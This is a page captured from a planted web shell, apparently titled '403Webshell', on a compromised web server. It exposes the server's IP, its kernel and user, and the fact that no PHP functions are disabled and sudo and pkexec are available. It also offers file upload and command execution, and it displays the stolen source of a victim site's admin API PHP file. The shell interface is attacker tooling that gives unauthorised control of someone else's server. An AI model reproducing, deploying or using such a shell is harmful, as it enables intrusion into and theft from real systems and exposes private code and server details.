403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/admin/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/admin/api/LoggedUsers.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of ApiClass
 *
 * @author Maroš
 */

namespace admin\api;

class LoggedUsers extends \app\classes\AdminApiClass {

    public function __construct() {
        parent::__construct();
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters []
     */
    public function logout() {
        session_destroy();
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["first_name", "last_name"]
     */
    public function updateProfile() {
        $this->loggedUser->update(array("first_name" => $this->urlReader->getPost("first_name"), "last_name" => $this->urlReader->getPost("last_name"), "phone" => $this->urlReader->getPost("phone"), "gmail_account_number" => $this->urlReader->getPost("gmail_account_number")));
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["old_password", "password", "password_retype"]
     * 
     */
    public function changePassword() {
        try {

            if (strlen($this->urlReader->getPost("password")) < 4 || !preg_match("#[0-9]+#", $this->urlReader->getPost("password")) || is_numeric($this->urlReader->getPost("password"))) {
                throw new \Exception(\app\constants\ResponseCodes::getMessageForCode(\app\constants\ResponseCodes::INVALID_PASSWORD), \app\constants\ResponseCodes::INVALID_PASSWORD);
            }

            if ($this->urlReader->getPost("password") !== $this->urlReader->getPost("password_retype")) {
                throw new \Exception(\app\constants\ResponseCodes::getMessageForCode(\app\constants\ResponseCodes::PASSWORD_MISMATCH), \app\constants\ResponseCodes::PASSWORD_MISMATCH);
            }

            if ($this->loggedUser->login($this->urlReader->getPost("old_password")) === false) {
                throw new \Exception(\app\constants\ResponseCodes::getMessageForCode(\app\constants\ResponseCodes::BAD_PASSWORD), \app\constants\ResponseCodes::BAD_PASSWORD);
            }

            $this->loggedUser->update(array(
                "password" => password_hash($this->urlReader->getPost("password"), PASSWORD_BCRYPT),
                "secret" => generateRandomString(40),
                "state" => \app\constants\State::ACTIVE
            ));
        } catch (\Exception $ex) {
            $this->restApi->setCode($ex->getCode());
            $this->restApi->setHttpResponseCode($ex->getCode());
            $this->restApi->ajaxResponse();
        }
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters []
     * 
     */
    public function updateSettingsConfiguration() {
        foreach ($this->urlReader->getPost() as $key => $val) {
            $val = str_replace(array(
                $this->app->getBaseUrl() . "uploads/",
                $this->app->getConfig(\app\constants\Config::PROTOCOL) . "://www." . $this->app->getConfig(\app\constants\Config::DOMAIN) . "/uploads/"
                    ), "/uploads/", $val);
            $this->app->setConfig($key, $val);
        }
    }

    public function getUsers() {
        $users = new \app\classes\DatatableAdminUsers($this->urlReader->getPost());
        $this->restApi->ajaxResponseRaw($users->getReponseData());
    }

    public function getRegistrationLink() {
        $db = \app\classes\PDODatabase::getInstance();
        $code = time() . generateRandomString(85);
        $db->addRecord("admin_registration_codes", array(
            "admin_users_id" => $this->loggedUser->_get("id"),
            "code" => $code
        ));
        $this->restApi->ajaxResponse(array("link" => $this->app->getBaseUrl() . "admin/registration/" . $code . "/"));
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["id"]
     * 
     */
    public function deleteAdminUser() {
        $userToDelete = new \app\classes\AdminUser($this->urlReader->getPost("id"), true);
        if (intval($userToDelete->_get("id")) === intval($this->loggedUser->_get("id")) || intval($userToDelete->_get("grade")) <= intval($this->loggedUser->_get("grade"))) {
            throw new \Exception(\app\constants\ResponseCodes::ACCESS_DENIED, \app\constants\ResponseCodes::ACCESS_DENIED);
        }
        $userToDelete->delete();
    }

    public function toggleMenuVisibility() {
        if (!isset($_COOKIE["admin_hide_menu"]) || $_COOKIE["admin_hide_menu"] == false) {
            setcookie("admin_hide_menu", true, time() + 60 * 60 * 24 * 365, "/");
        } else {
            setcookie("admin_hide_menu", false, time() + 60 * 60 * 24 * 365, "/");
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit